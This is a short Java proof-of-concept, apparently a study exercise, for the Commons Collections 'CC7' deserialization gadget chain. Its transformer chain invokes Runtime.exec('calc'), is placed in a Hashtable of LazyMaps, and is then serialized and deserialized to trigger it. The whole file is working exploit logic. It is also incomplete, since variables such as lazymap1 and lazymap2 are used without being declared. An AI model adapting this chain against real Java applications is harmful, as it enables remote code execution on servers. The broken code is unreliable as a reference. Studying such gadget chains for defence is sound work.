public class cc7 { public static void main(String[] args) throws Exception {
Class c = Runtime.class; // Method m = c.getDeclaredMethod("getRuntime",null); // m.setAccessible(true); // Object invoke = m.invoke(null, null); // Method m2 = c.getDeclaredMethod("exec",String.class); // m2.setAccessible(true); // m2.invoke(invoke,"calc");
Transformer[] t = { new ConstantTransformer(c), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}) }; Transformer[] tr ={};
ChainedTransformer chainedTransformer = new ChainedTransformer(tr); Map map1 = new HashMap<>();
Hashtable hashtable = new Hashtable(); hashtable.put(lazymap1,1); hashtable.put(lazymap2,2);
Class aClass = chainedTransformer.getClass(); Field f = aClass.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(chainedTransformer, t); lazymap2.remove("yy"); searilize(hashtable); unsearilize("ser.bin");
// Method getDeclaredMethod = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(c); // Object invoke1 = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getDeclaredMethod); // new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}).transform(invoke1);
}
public static void searilize(Object o) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(o); } public static Object unsearilize(String filename) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); return objectInputStream.readObject(); } }